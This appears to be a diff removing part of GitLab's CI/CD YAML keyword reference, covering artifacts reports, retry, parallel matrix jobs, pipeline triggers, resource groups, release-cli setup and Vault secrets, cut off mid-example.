-##### `artifacts:reports:browser_performance` **(PREMIUM)**
-
-> - Introduced in GitLab 11.5.
-> - Requires GitLab Runner 11.5 and above.
-> - [Name changed](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) from `artifacts:reports:performance` in GitLab 14.0.
-
-The `browser_performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md)
-as artifacts.
-
-The collected Browser Performance report uploads to GitLab as an artifact and displays in merge requests.
-
-##### `artifacts:reports:requirements` **(ULTIMATE)**
-
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in GitLab 13.1.
-> - Requires GitLab Runner 11.5 and above.
-
-The `requirements` report collects `requirements.json` files as artifacts.
-
-The collected Requirements report uploads to GitLab as an artifact and
-existing [requirements](../../user/project/requirements/index.md) are
-marked as Satisfied.
-
-##### `artifacts:reports:sast`
-
-> - Introduced in GitLab 11.5.
-> - Made [available in all tiers](https://gitlab.com/groups/gitlab-org/-/epics/2098) in GitLab 13.3.
-> - Requires GitLab Runner 11.5 and above.
-
-The `sast` report collects [SAST vulnerabilities](../../user/application_security/sast/index.md)
-as artifacts.
-
-The collected SAST report uploads to GitLab as an artifact and is summarized
-in merge requests and the pipeline view. It's also used to provide data for security
-dashboards.
-
-##### `artifacts:reports:secret_detection`
-
-> - Introduced in GitLab 13.1.
-> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/222788) in GitLab
- 13.3.
-> - Requires GitLab Runner 11.5 and above.
-
-The `secret-detection` report collects [detected secrets](../../user/application_security/secret_detection/index.md)
-as artifacts.
-
-The collected Secret Detection report is uploaded to GitLab as an artifact and summarized
-in the merge requests and pipeline view. It's also used to provide data for security
-dashboards.
-
-##### `artifacts:reports:terraform`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207528) in GitLab 13.0.
-> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above.
-
-The `terraform` report obtains a Terraform `tfplan.json` file. [JQ processing required to remove credentials](../../user/infrastructure/mr_integration.md#setup). The collected Terraform
-plan report uploads to GitLab as an artifact and displays
-in merge requests. For more information, see
-[Output `terraform plan` information into a merge request](../../user/infrastructure/mr_integration.md).
-
-#### `artifacts:untracked`
-
-Use `artifacts:untracked` to add all Git untracked files as artifacts (along
-with the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration
-in the repository's `.gitignore` file.
-
-Send all Git untracked files:
-
-```yaml
-artifacts:
- untracked: true
-```
-
-Send all Git untracked files and files in `binaries`:
-
-```yaml
-artifacts:
- untracked: true
- paths:
- - binaries/
-```
-
-Send all untracked files but [exclude](#artifactsexclude) `*.txt`:
-
-```yaml
-artifacts:
- untracked: true
- exclude:
- - "*.txt"
-```
-
-#### `artifacts:when`
-
-Use `artifacts:when` to upload artifacts on job failure or despite the
-failure.
-
-`artifacts:when` can be set to one of the following values:
-
-1. `on_success` (default): Upload artifacts only when the job succeeds.
-1. `on_failure`: Upload artifacts only when the job fails.
-1. `always`: Always upload artifacts. Useful, for example, when
- [uploading artifacts](../unit_test_reports.md#viewing-junit-screenshots-on-gitlab) required to
- troubleshoot failing tests.
-
-For example, to upload artifacts only when a job fails:
-
-```yaml
-job:
- artifacts:
- when: on_failure
-```
-
-### `coverage`
-
-Use `coverage` to configure how code coverage is extracted from the
-job output.
-
-Regular expressions are the only valid kind of value expected here. So, using
-surrounding `/` is mandatory to consistently and explicitly represent
-a regular expression string. You must escape special characters if you want to
-match them literally.
-
-For example:
-
-```yaml
-job1:
- script: rspec
- coverage: '/Code coverage: \d+\.\d+/'
-```
-
-The coverage is shown in the UI if at least one line in the job output matches the regular expression.
-If there is more than one matched line in the job output, the last line is used.
-For the matched line, the first occurrence of `\d+(\.\d+)?` is the code coverage.
-Leading zeros are removed.
-
-Coverage output from [child pipelines](../parent_child_pipelines.md) is not recorded
-or displayed. Check [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/280818)
-for more details.
-
-### `retry`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3515) in GitLab 11.5, you can control which failures to retry on.
-
-Use `retry` to configure how many times a job is retried in
-case of a failure.
-
-When a job fails, the job is processed again,
-until the limit specified by the `retry` keyword is reached.
-
-If `retry` is set to `2`, and a job succeeds in a second run (first retry), it is not retried.
-The `retry` value must be a positive integer, from `0` to `2`
-(two retries maximum, three runs in total).
-
-The following example retries all failure cases:
-
-```yaml
-test:
- script: rspec
- retry: 2
-```
-
-By default, a job is retried on all failure cases. To have better control
-over which failures to retry, `retry` can be a hash with the following keys:
-
-- `max`: The maximum number of retries.
-- `when`: The failure cases to retry.
-
-To retry only runner system failures at maximum two times:
-
-```yaml
-test:
- script: rspec
- retry:
- max: 2
- when: runner_system_failure
-```
-
-If there is another failure, other than a runner system failure, the job
-is not retried.
-
-To retry on multiple failure cases, `when` can also be an array of failures:
-
-```yaml
-test:
- script: rspec
- retry:
- max: 2
- when:
- - runner_system_failure
- - stuck_or_timeout_failure
-```
-
-Possible values for `when` are:
-
-<!--
- If you change any of the values below, make sure to update the `RETRY_WHEN_IN_DOCUMENTATION`
- array in `spec/lib/gitlab/ci/config/entry/retry_spec.rb`.
- The test there makes sure that all documented
- values are valid as a configuration option and therefore should always
- stay in sync with this documentation.
--->
-
-- `always`: Retry on any failure (default).
-- `unknown_failure`: Retry when the failure reason is unknown.
-- `script_failure`: Retry when the script failed.
-- `api_failure`: Retry on API failure.
-- `stuck_or_timeout_failure`: Retry when the job got stuck or timed out.
-- `runner_system_failure`: Retry if there is a runner system failure (for example, job setup failed).
-- `missing_dependency_failure`: Retry if a dependency is missing.
-- `runner_unsupported`: Retry if the runner is unsupported.
-- `stale_schedule`: Retry if a delayed job could not be executed.
-- `job_execution_timeout`: Retry if the script exceeded the maximum execution time set for the job.
-- `archived_failure`: Retry if the job is archived and can't be run.
-- `unmet_prerequisites`: Retry if the job failed to complete prerequisite tasks.
-- `scheduler_failure`: Retry if the scheduler failed to assign the job to a runner.
-- `data_integrity_failure`: Retry if there is a structural integrity problem detected.
-
-You can specify the number of [retry attempts for certain stages of job execution](../runners/configure_runners.md#job-stages-attempts) using variables.
-
-### `timeout`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14887) in GitLab 12.3.
-
-Use `timeout` to configure a timeout for a specific job. For example:
-
-```yaml
-build:
- script: build.sh
- timeout: 3 hours 30 minutes
-
-test:
- script: rspec
- timeout: 3h 30m
-```
-
-The job-level timeout can exceed the
-[project-level timeout](../pipelines/settings.md#timeout) but can't
-exceed the runner-specific timeout.
-
-### `parallel`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5.
-
-Use `parallel` to configure how many instances of a job to run in parallel.
-The value can be from 2 to 50.
-
-The `parallel` keyword creates N instances of the same job that run in parallel.
-They are named sequentially from `job_name 1/N` to `job_name N/N`:
-
-```yaml
-test:
- script: rspec
- parallel: 5
-```
-
-Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL`
-[predefined CI/CD variable](../variables/README.md#predefined-cicd-variables) set.
-
-Different languages and test suites have different methods to enable parallelization.
-For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters)
-and RSpec to run Ruby tests in parallel:
-
-```ruby
-# Gemfile
-source 'https://rubygems.org'
-
-gem 'rspec'
-gem 'semaphore_test_boosters'
-```
-
-```yaml
-test:
- parallel: 3
- script:
- - bundle
- - bundle exec rspec_booster --job $CI_NODE_INDEX/$CI_NODE_TOTAL
-```
-
-WARNING:
-Test Boosters reports usage statistics to the author.
-
-You can then navigate to the **Jobs** tab of a new pipeline build and see your RSpec
-job split into three separate jobs.
-
-#### Parallel `matrix` jobs
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15356) in GitLab 13.3.
-
-Use `matrix:` to run a job multiple times in parallel in a single pipeline,
-but with different variable values for each instance of the job.
-There can be from 2 to 50 jobs.
-
-Jobs can only run in parallel if there are multiple runners, or a single runner is
-[configured to run multiple jobs concurrently](#use-your-own-runners).
-
-Every job gets the same `CI_NODE_TOTAL` [CI/CD variable](../variables/README.md#predefined-cicd-variables) value, and a unique `CI_NODE_INDEX` value.
-
-```yaml
-deploystacks:
- stage: deploy
- script:
- - bin/deploy
- parallel:
- matrix:
- - PROVIDER: aws
- STACK:
- - monitoring
- - app1
- - app2
- - PROVIDER: ovh
- STACK: [monitoring, backup, app]
- - PROVIDER: [gcp, vultr]
- STACK: [data, processing]
-```
-
-The following example generates 10 parallel `deploystacks` jobs, each with different values
-for `PROVIDER` and `STACK`:
-
-```plaintext
-deploystacks: [aws, monitoring]
-deploystacks: [aws, app1]
-deploystacks: [aws, app2]
-deploystacks: [ovh, monitoring]
-deploystacks: [ovh, backup]
-deploystacks: [ovh, app]
-deploystacks: [gcp, data]
-deploystacks: [gcp, processing]
-deploystacks: [vultr, data]
-deploystacks: [vultr, processing]
-```
-
-The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452).
-
-##### One-dimensional `matrix` jobs
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26362) in GitLab 13.5.
-
-You can also have one-dimensional matrices with a single job:
-
-```yaml
-deploystacks:
- stage: deploy
- script:
- - bin/deploy
- parallel:
- matrix:
- - PROVIDER: [aws, ovh, gcp, vultr]
-```
-
-##### Parallel `matrix` trigger jobs
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/270957) in GitLab 13.10.
-
-Use `matrix:` to run a [trigger](#trigger) job multiple times in parallel in a single pipeline,
-but with different variable values for each instance of the job.
-
-```yaml
-deploystacks:
- stage: deploy
- trigger:
- include: path/to/child-pipeline.yml
- parallel:
- matrix:
- - PROVIDER: aws
- STACK: [monitoring, app1]
- - PROVIDER: ovh
- STACK: [monitoring, backup]
- - PROVIDER: [gcp, vultr]
- STACK: [data]
-```
-
-This example generates 6 parallel `deploystacks` trigger jobs, each with different values
-for `PROVIDER` and `STACK`, and they create 6 different child pipelines with those variables.
-
-```plaintext
-deploystacks: [aws, monitoring]
-deploystacks: [aws, app1]
-deploystacks: [ovh, monitoring]
-deploystacks: [ovh, backup]
-deploystacks: [gcp, data]
-deploystacks: [vultr, data]
-```
-
-### `trigger`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
-
-Use `trigger` to define a downstream pipeline trigger. When GitLab starts a `trigger` job,
-a downstream pipeline is created.
-
-Jobs with `trigger` can only use a [limited set of keywords](../multi_project_pipelines.md#limitations).
-For example, you can't run commands with [`script`](#script), [`before_script`](#before_script),
-or [`after_script`](#after_script).
-
-You can use this keyword to create two different types of downstream pipelines:
-
-- [Multi-project pipelines](../multi_project_pipelines.md#creating-multi-project-pipelines-from-gitlab-ciyml)
-- [Child pipelines](../parent_child_pipelines.md)
-
-[In GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/197140/) and later, you can
-view which job triggered a downstream pipeline. In the [pipeline graph](../pipelines/index.md#visualize-pipelines),
-hover over the downstream pipeline job.
-
-In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you
-can use [`when:manual`](#whenmanual) in the same job as `trigger`. In GitLab 13.4 and
-earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`.
-You [cannot start `manual` trigger jobs with the API](https://gitlab.com/gitlab-org/gitlab/-/issues/284086).
-
-#### Basic `trigger` syntax for multi-project pipelines
-
-You can configure a downstream trigger by using the `trigger` keyword
-with a full path to a downstream project:
-
-```yaml
-rspec:
- stage: test
- script: bundle exec rspec
-
-staging:
- stage: deploy
- trigger: my/deployment
-```
-
-#### Complex `trigger` syntax for multi-project pipelines
-
-You can configure a branch name that GitLab uses to create
-a downstream pipeline with:
-
-```yaml
-rspec:
- stage: test
- script: bundle exec rspec
-
-staging:
- stage: deploy
- trigger:
- project: my/deployment
- branch: stable
-```
-
-To mirror the status from a triggered pipeline:
-
-```yaml
-trigger_job:
- trigger:
- project: my/project
- strategy: depend
-```
-
-To mirror the status from an upstream pipeline:
-
-```yaml
-upstream_bridge:
- stage: test
- needs:
- pipeline: other/project
-```
-
-#### `trigger` syntax for child pipeline
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16094) in GitLab 12.7.
-
-To create a [child pipeline](../parent_child_pipelines.md), specify the path to the
-YAML file that contains the configuration of the child pipeline:
-
-```yaml
-trigger_job:
- trigger:
- include: path/to/child-pipeline.yml
-```
-
-Similar to [multi-project pipelines](../multi_project_pipelines.md#mirroring-status-from-triggered-pipeline),
-it's possible to mirror the status from a triggered pipeline:
-
-```yaml
-trigger_job:
- trigger:
- include:
- - local: path/to/child-pipeline.yml
- strategy: depend
-```
-
-##### Trigger child pipeline with generated configuration file
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35632) in GitLab 12.9.
-
-You can also trigger a child pipeline from a [dynamically generated configuration file](../parent_child_pipelines.md#dynamic-child-pipelines):
-
-```yaml
-generate-config:
- stage: build
- script: generate-ci-config > generated-config.yml
- artifacts:
- paths:
- - generated-config.yml
-
-child-pipeline:
- stage: test
- trigger:
- include:
- - artifact: generated-config.yml
- job: generate-config
-```
-
-The `generated-config.yml` is extracted from the artifacts and used as the configuration
-for triggering the child pipeline.
-
-##### Trigger child pipeline with files from another project
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/205157) in GitLab 13.5.
-
-To trigger child pipelines with files from another private project under the same
-GitLab instance, use [`include:file`](#includefile):
-
-```yaml
-child-pipeline:
- trigger:
- include:
- - project: 'my-group/my-pipeline-library'
- ref: 'main'
- file: '/path/to/child-pipeline.yml'
-```
-
-#### Linking pipelines with `trigger:strategy`
-
-By default, the `trigger` job completes with the `success` status
-as soon as the downstream pipeline is created.
-
-To force the `trigger` job to wait for the downstream (multi-project or child) pipeline to complete, use
-`strategy: depend`. This setting makes the trigger job wait with a "running" status until the triggered
-pipeline completes. At that point, the `trigger` job completes and displays the same status as
-the downstream job.
-
-This setting can help keep your pipeline execution linear. In the following example, jobs from
-subsequent stages wait for the triggered pipeline to successfully complete before
-starting, which reduces parallelization.
-
-```yaml
-trigger_job:
- trigger:
- include: path/to/child-pipeline.yml
- strategy: depend
-```
-
-#### Trigger a pipeline by API call
-
-To force a rebuild of a specific branch, tag, or commit, you can use an API call
-with a trigger token.
-
-The trigger token is different than the [`trigger`](#trigger) keyword.
-
-[Read more in the triggers documentation.](../triggers/README.md)
-
-### `interruptible`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32022) in GitLab 12.3.
-
-Use `interruptible` to indicate that a running job should be canceled if made redundant by a newer pipeline run.
-Defaults to `false` (uninterruptible). Jobs that have not started yet (pending) are considered interruptible
-and safe to be cancelled.
-This value is used only if the [automatic cancellation of redundant pipelines feature](../pipelines/settings.md#auto-cancel-redundant-pipelines)
-is enabled.
-
-When enabled, a pipeline is immediately canceled when a new pipeline starts on the same branch if either of the following is true:
-
-- All jobs in the pipeline are set as interruptible.
-- Any uninterruptible jobs have not started yet.
-
-Set jobs as interruptible that can be safely canceled once started (for instance, a build job).
-
-In the following example, a new pipeline run causes an existing running pipeline to be:
-
-- Canceled, if only `step-1` is running or pending.
-- Not canceled, once `step-2` starts running.
-
-After an uninterruptible job starts running, the pipeline cannot be canceled.
-
-```yaml
-stages:
- - stage1
- - stage2
- - stage3
-
-step-1:
- stage: stage1
- script:
- - echo "Can be canceled."
- interruptible: true
-
-step-2:
- stage: stage2
- script:
- - echo "Can not be canceled."
-
-step-3:
- stage: stage3
- script:
- - echo "Because step-2 can not be canceled, this step can never be canceled, even though it's set as interruptible."
- interruptible: true
-```
-
-### `resource_group`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15536) in GitLab 12.7.
-
-Sometimes running multiple jobs or pipelines at the same time in an environment
-can lead to errors during the deployment.
-
-To avoid these errors, use the `resource_group` attribute to make sure that
-the runner doesn't run certain jobs simultaneously. Resource groups behave similar
-to semaphores in other programming languages.
-
-When the `resource_group` keyword is defined for a job in the `.gitlab-ci.yml` file,
-job executions are mutually exclusive across different pipelines for the same project.
-If multiple jobs belonging to the same resource group are enqueued simultaneously,
-only one of the jobs is picked by the runner. The other jobs wait until the
-`resource_group` is free.
-
-For example:
-
-```yaml
-deploy-to-production:
- script: deploy
- resource_group: production
-```
-
-In this case, two `deploy-to-production` jobs in two separate pipelines can never run at the same time. As a result,
-you can ensure that concurrent deployments never happen to the production environment.
-
-You can define multiple resource groups per environment. For example,
-when deploying to physical devices, you may have multiple physical devices. Each device
-can be deployed to, but there can be only one deployment per device at any given time.
-
-The `resource_group` value can only contain letters, digits, `-`, `_`, `/`, `$`, `{`, `}`, `.`, and spaces.
-It can't start or end with `/`.
-
-For more information, see [Deployments Safety](../environments/deployment_safety.md).
-
-#### Pipeline-level concurrency control with Cross-Project/Parent-Child pipelines
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39057) in GitLab 13.9.
-
-You can define `resource_group` for downstream pipelines that are sensitive to concurrent
-executions. The [`trigger` keyword](#trigger) can trigger downstream pipelines. The
-[`resource_group` keyword](#resource_group) can co-exist with it. This is useful to control the
-concurrency for deployment pipelines, while running non-sensitive jobs concurrently.
-
-The following example has two pipeline configurations in a project. When a pipeline starts running,
-non-sensitive jobs are executed first and aren't affected by concurrent executions in other
-pipelines. However, GitLab ensures that there are no other deployment pipelines running before
-triggering a deployment (child) pipeline. If other deployment pipelines are running, GitLab waits
-until those pipelines finish before running another one.
-
-```yaml
-# .gitlab-ci.yml (parent pipeline)
-
-build:
- stage: build
- script: echo "Building..."
-
-test:
- stage: test
- script: echo "Testing..."
-
-deploy:
- stage: deploy
- trigger:
- include: deploy.gitlab-ci.yml
- strategy: depend
- resource_group: AWS-production
-```
-
-```yaml
-# deploy.gitlab-ci.yml (child pipeline)
-
-stages:
- - provision
- - deploy
-
-provision:
- stage: provision
- script: echo "Provisioning..."
-
-deployment:
- stage: deploy
- script: echo "Deploying..."
-```
-
-You must define [`strategy: depend`](#linking-pipelines-with-triggerstrategy)
-with the `trigger` keyword. This ensures that the lock isn't released until the downstream pipeline
-finishes.
-
-### `release`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 13.2.
-
-Use `release` to create a [release](../../user/project/releases/index.md).
-Requires the [`release-cli`](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs)
-to be available in your GitLab Runner Docker or shell executor.
-
-These keywords are supported:
-
-- [`tag_name`](#releasetag_name)
-- [`description`](#releasedescription)
-- [`name`](#releasename) (optional)
-- [`ref`](#releaseref) (optional)
-- [`milestones`](#releasemilestones) (optional)
-- [`released_at`](#releasereleased_at) (optional)
-- [`assets:links`](#releaseassetslinks) (optional)
-
-The release is created only if the job processes without error. If the Rails API
-returns an error during release creation, the `release` job fails.
-
-#### `release-cli` Docker image
-
-You must specify the Docker image to use for the `release-cli`:
-
-```yaml
-image: registry.gitlab.com/gitlab-org/release-cli:latest
-```
-
-#### `release-cli` for shell executors
-
-> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/issues/21) in GitLab 13.8.
-
-For GitLab Runner shell executors, you can download and install the `release-cli` manually for your [supported OS and architecture](https://release-cli-downloads.s3.amazonaws.com/latest/index.html).
-Once installed, the `release` keyword should be available to you.
-
-**Install on Unix/Linux**
-
-1. Download the binary for your system, in the following example for amd64 systems:
-
- ```shell
- curl --location --output /usr/local/bin/release-cli "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-linux-amd64"
- ```
-
-1. Give it permissions to execute:
-
- ```shell
- sudo chmod +x /usr/local/bin/release-cli
- ```
-
-1. Verify `release-cli` is available:
-
- ```shell
- $ release-cli -v
-
- release-cli version 0.6.0
- ```
-
-**Install on Windows PowerShell**
-
-1. Create a folder somewhere in your system, for example `C:\GitLab\Release-CLI\bin`
-
- ```shell
- New-Item -Path 'C:\GitLab\Release-CLI\bin' -ItemType Directory
- ```
-
-1. Download the executable file:
-
- ```shell
- PS C:\> Invoke-WebRequest -Uri "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-windows-amd64.exe" -OutFile "C:\GitLab\Release-CLI\bin\release-cli.exe"
-
- Directory: C:\GitLab\Release-CLI
- Mode LastWriteTime Length Name
- ---- ------------- ------ ----
- d----- 3/16/2021 4:17 AM bin
-
- ```
-
-1. Add the directory to your `$env:PATH`:
-
- ```shell
- $env:PATH += ";C:\GitLab\Release-CLI\bin"
- ```
-
-1. Verify `release-cli` is available:
-
- ```shell
- PS C:\> release-cli -v
-
- release-cli version 0.6.0
- ```
-
-#### Use a custom SSL CA certificate authority
-
-You can use the `ADDITIONAL_CA_CERT_BUNDLE` CI/CD variable to configure a custom SSL CA certificate authority,
-which is used to verify the peer when the `release-cli` creates a release through the API using HTTPS with custom certificates.
-The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the
-[text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1)
-or the `path/to/file` containing the certificate authority.
-For example, to configure this value in the `.gitlab-ci.yml` file, use the following:
-
-```yaml
-release:
- variables:
- ADDITIONAL_CA_CERT_BUNDLE: |
- -----BEGIN CERTIFICATE-----
- MIIGqTCCBJGgAwIBAgIQI7AVxxVwg2kch4d56XNdDjANBgkqhkiG9w0BAQsFADCB
- ...
- jWgmPqF3vUbZE0EyScetPJquRFRKIesyJuBFMAs=
- -----END CERTIFICATE-----
- script:
- - echo "Create release"
- release:
- name: 'My awesome release'
- tag_name: '$CI_COMMIT_TAG'
-```
-
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a
-[custom variable in the UI](../variables/README.md#custom-cicd-variables),
-either as a `file`, which requires the path to the certificate, or as a variable,
-which requires the text representation of the certificate.
-
-#### `script`
-
-All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release`
-job can use the output from script commands, but you can use a placeholder script if
-the script is not needed:
-
-```yaml
-script:
- - echo 'release job'
-```
-
-An [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/223856) exists to remove this requirement in an upcoming version of GitLab.
-
-A pipeline can have multiple `release` jobs, for example:
-
-```yaml
-ios-release:
- script:
- - echo 'iOS release job'
- release:
- tag_name: v1.0.0-ios
- description: 'iOS release v1.0.0'
-
-android-release:
- script:
- - echo 'Android release job'
- release:
- tag_name: v1.0.0-android
- description: 'Android release v1.0.0'
-```
-
-#### `release:tag_name`
-
-You must specify a `tag_name` for the release. The tag can refer to an existing Git tag or
-you can specify a new tag.
-
-When the specified tag doesn't exist in the repository, a new tag is created from the associated SHA of the pipeline.
-
-For example, when creating a release from a Git tag:
-
-```yaml
-job:
- release:
- tag_name: $CI_COMMIT_TAG
- description: 'Release description'
-```
-
-It is also possible for the release job to automatically create a new unique tag. In that case,
-do not use [`rules`](#rules) or [`only`](#only--except) to configure the job to
-only run for tags.
-
-A semantic versioning example:
-
-```yaml
-job:
- release:
- tag_name: ${MAJOR}_${MINOR}_${REVISION}
- description: 'Release description'
-```
-
-- The release is created only if the job's main script succeeds.
-- If the release already exists, it is not updated and the job with the `release` keyword fails.
-- The `release` section executes after the `script` tag and before the `after_script`.
-
-#### `release:name`
-
-The release name. If omitted, it is populated with the value of `release: tag_name`.
-
-#### `release:description`
-
-Specifies the long description of the release. You can also specify a file that contains the
-description.
-
-##### Read description from a file
-
-> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/merge_requests/67) in GitLab 13.7.
-
-You can specify a file in `$CI_PROJECT_DIR` that contains the description. The file must be relative
-to the project directory (`$CI_PROJECT_DIR`), and if the file is a symbolic link it can't reside
-outside of `$CI_PROJECT_DIR`. The `./path/to/file` and filename can't contain spaces.
-
-```yaml
-job:
- release:
- tag_name: ${MAJOR}_${MINOR}_${REVISION}
- description: './path/to/CHANGELOG.md'
-```
-
-#### `release:ref`
-
-If the `release: tag_name` doesn't exist yet, the release is created from `ref`.
-`ref` can be a commit SHA, another tag name, or a branch name.
-
-#### `release:milestones`
-
-The title of each milestone the release is associated with.
-
-#### `release:released_at`
-
-The date and time when the release is ready. Defaults to the current date and time if not
-defined. Should be enclosed in quotes and expressed in ISO 8601 format.
-
-```json
-released_at: '2021-03-15T08:00:00Z'
-```
-
-#### `release:assets:links`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271454) in GitLab 13.12.
-
-Include [asset links](../../user/project/releases/index.md#release-assets) in the release.
-
-NOTE:
-Requires `release-cli` version v0.4.0 or higher.
-
-```yaml
-assets:
- links:
- - name: 'asset1'
- url: 'https://example.com/assets/1'
- - name: 'asset2'
- url: 'https://example.com/assets/2'
- filepath: '/pretty/url/1' # optional
- link_type: 'other' # optional
-```
-
-#### Complete example for `release`
-
-If you combine the previous examples for `release`, you get two options, depending on how you generate the
-tags. You can't use these options together, so choose one:
-
-- To create a release when you push a Git tag, or when you add a Git tag
- in the UI by going to **Repository > Tags**:
-
- ```yaml
- release_job:
- stage: release
- image: registry.gitlab.com/gitlab-org/release-cli:latest
- rules:
- - if: $CI_COMMIT_TAG # Run this job when a tag is created manually
- script:
- - echo 'running release_job'
- release:
- name: 'Release $CI_COMMIT_TAG'
- description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION must be defined
- tag_name: '$CI_COMMIT_TAG' # elsewhere in the pipeline.
- ref: '$CI_COMMIT_TAG'
- milestones:
- - 'm1'
- - 'm2'
- - 'm3'
- released_at: '2020-07-15T08:00:00Z' # Optional, is auto generated if not defined, or can use a variable.
- assets: # Optional, multiple asset links
- links:
- - name: 'asset1'
- url: 'https://example.com/assets/1'
- - name: 'asset2'
- url: 'https://example.com/assets/2'
- filepath: '/pretty/url/1' # optional
- link_type: 'other' # optional
- ```
-
-- To create a release automatically when commits are pushed or merged to the default branch,
- using a new Git tag that is defined with variables:
-
- NOTE:
- Environment variables set in `before_script` or `script` are not available for expanding
- in the same job. Read more about
- [potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400).
-
- ```yaml
- prepare_job:
- stage: prepare # This stage must run before the release stage
- rules:
- - if: $CI_COMMIT_TAG
- when: never # Do not run this job when a tag is created manually
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch
- script:
- - echo "EXTRA_DESCRIPTION=some message" >> variables.env # Generate the EXTRA_DESCRIPTION and TAG environment variables
- - echo "TAG=v$(cat VERSION)" >> variables.env # and append to the variables.env file
- artifacts:
- reports:
- dotenv: variables.env # Use artifacts:reports:dotenv to expose the variables to other jobs
-
- release_job:
- stage: release
- image: registry.gitlab.com/gitlab-org/release-cli:latest
- needs:
- - job: prepare_job
- artifacts: true
- rules:
- - if: $CI_COMMIT_TAG
- when: never # Do not run this job when a tag is created manually
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch
- script:
- - echo 'running release_job for $TAG'
- release:
- name: 'Release $TAG'
- description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION and the $TAG
- tag_name: '$TAG' # variables must be defined elsewhere
- ref: '$CI_COMMIT_SHA' # in the pipeline. For example, in the
- milestones: # prepare_job
- - 'm1'
- - 'm2'
- - 'm3'
- released_at: '2020-07-15T08:00:00Z' # Optional, is auto generated if not defined, or can use a variable.
- assets:
- links:
- - name: 'asset1'
- url: 'https://example.com/assets/1'
- - name: 'asset2'
- url: 'https://example.com/assets/2'
- filepath: '/pretty/url/1' # optional
- link_type: 'other' # optional
- ```
-
-#### Release assets as Generic packages
-
-You can use [Generic packages](../../user/packages/generic_packages/) to host your release assets.
-For a complete example, see the [Release assets as Generic packages](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/)
-project.
-
-#### `release-cli` command line
-
-The entries under the `release` node are transformed into a `bash` command line and sent
-to the Docker container, which contains the [release-cli](https://gitlab.com/gitlab-org/release-cli).
-You can also call the `release-cli` directly from a `script` entry.
-
-For example, if you use the YAML described previously:
-
-```shell
-release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3" --assets-link "{\"name\":\"asset1\",\"url\":\"https://example.com/assets/1\",\"link_type\":\"other\"}
-```
-
-### `secrets`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33014) in GitLab 13.4.
-
-Use `secrets` to specify the [CI/CD Secrets](../secrets/index.md) the job needs. It should be a hash,
-and the keys should be the names of the variables that are made available to the job.
-The value of each secret is saved in a temporary file. This file's path is stored in these
-variables.
-
-#### `secrets:vault` **(PREMIUM)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28321) in GitLab 13.4.
-
-Use `vault` to specify secrets provided by [Hashicorp's Vault](https://www.vaultproject.io/).
-
-This syntax has multiple forms. The shortest form assumes the use of the
-[KV-V2](https://www.vaultproject.io/docs/secrets/kv/kv-v2) secrets engine,
-mounted at the default path `kv-v2`. The last part of the secret's path is the
-field to fetch the value for:
-
-```yaml
-job:
- secrets:
- DATABASE_PASSWORD:
- vault: production/db/password # translates to secret `kv-v2/data/production/db`, field `password`
-```
-
-You can specify a custom secrets engine path by adding a suffix starting with `@`:
-
-```yaml
-job:
- secrets:
